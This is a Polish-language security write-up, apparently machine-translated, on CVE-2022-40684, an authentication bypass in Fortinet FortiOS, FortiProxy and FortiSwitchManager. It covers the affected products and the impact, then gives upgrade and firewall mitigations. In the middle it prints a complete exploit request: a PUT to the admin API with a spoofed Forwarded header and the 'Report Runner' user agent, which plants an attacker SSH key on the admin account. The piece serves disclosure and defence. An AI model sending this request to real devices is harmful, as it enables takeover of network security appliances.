CVE-2022-40684
O luce w zabezpieczeniach
CVE-2022-40684 to luka umożliwiająca obejście uwierzytelniania w niektórych produktach Fortinet, takich jak FortiOS, Fortiproxy i FortiSwitchManager. Oznacza to, że wykorzystując tę lukę atakujący może ominąć uwierzytelnianie i zalogować się jako administrator. Bazowy wynik dla tej luki wynosi 9,8, co czyni ją wysoce krytyczną. Zanim przejdziemy dalej, zrozummy, jakie są te produkty:
- FortiOS: Jak sama nazwa wskazuje, FortiOS, sieciowy system operacyjny Fortinet , jest sercem zabezpieczeń Fortinet. Ten system operacyjny stanowi rdzeń Security Fabric i łączy ze sobą wszystkie komponenty, aby zapewnić ścisłą integrację całego wdrożenia w organizacji.
- FortiProxy: Jest to bezpieczny internetowy serwer proxy, który chroni pracowników przed atakami internetowymi, wykorzystując wiele technik wykrywania, takich jak filtrowanie stron internetowych.
- FortiSwitchManager (FSWM) to lokalna platforma zarządzania produktem FortiSwitch . Jednostki FortiSwitch łączą się z FortiSwitch Manager przez sieć warstwy 3. Za pomocą tej platformy tylko do zarządzania FortiSwitch można skonfigurować dużą liczbę jednostek FortiSwitch.
Uderzenie
Błąd umożliwi nieuwierzytelnionemu użytkownikowi wykonanie operacji bezpośrednio w panelu administracyjnym za pośrednictwem niektórych żądań HTTP/S (metodami mogą być GET, POST, DELETE itp.). Posiadanie roli administratora może powodować niektóre z następujących zdarzeń:
- Przejmij kontrolę nad całą aplikacją
- Uzyskanie dostępu do infrastruktury wewnętrznej
- Dodawanie lub usuwanie użytkowników
- Narażenie na wrażliwe dane
- Zmodyfikuj klucze SSH administratorów, aby umożliwić atakującemu zalogowanie się do zaatakowanego systemu
- Manipulowanie różnymi plikami konfiguracyjnymi itp.
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by= ”[127.0.0.1]:9000 ″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58=dev@devs-MacBook-Pro.local \”” }
- Za pomocą nagłówka Forwarded osoba atakująca może ustawić client_ip na „127.0.0.1”.
- Kontrola uwierzytelniania „zaufanego dostępu” weryfikuje, czy client_ip to „127.0.0.1”, a User-Agent to „Report Runner”, z których oba znajdują się pod kontrolą atakującego.
„Znalezienie lekarstwa jest o wiele ważniejsze niż znalezienie błędu”
Poniżej przedstawiono niektóre środki zaradcze mające na celu ochronę organizacji przed luką CVE-2022–40684:
- Modernizacja produktów, których to dotyczy.
Zaktualizuj wersję FortiOS do ≥7.2.2 i ≥7.0.7
Zaktualizuj wersję FortiProxy do ≥7.2.1 i ≥ 7.0.7
Zaktualizuj FortiSwitchManager do wersji ≥7.2.1 i ≥7.0.1 - Wyłącz interfejs administracyjny http/https w systemach FortiOS, FortiProxy i FortiSwitchManager.
- W przypadku FortiOS ogranicz adresy IP, które mogą uzyskać dostęp do interfejsu administracyjnego
config firewall address
edit "my_allowed_addresses"
set subnet <MY IP> <MY SUBNET>
end
config firewall addrgrp
edit "MGMT_IPs"
set member "my_allowed_addresses"
end
config firewall local-in-policy
edit 1
set intf port1
set srcaddr "MGMT_IPs"
set dstaddr "all"
set action accept
set service HTTPS HTTP
set schedule "always"
set status enable
next
edit 2
set intf "any"
set srcaddr "all"
set dstaddr "all"
set action deny
set service HTTPS HTTP
set schedule "always"
set status enable
end
config firewall service custom
edit GUI_HTTPS
set tcp-portrange <admin-sport>
next
edit GUI_HTTP
set tcp-portrange <admin-port>
end
config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end

![Czym w ogóle jest lista połączona? [Część 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































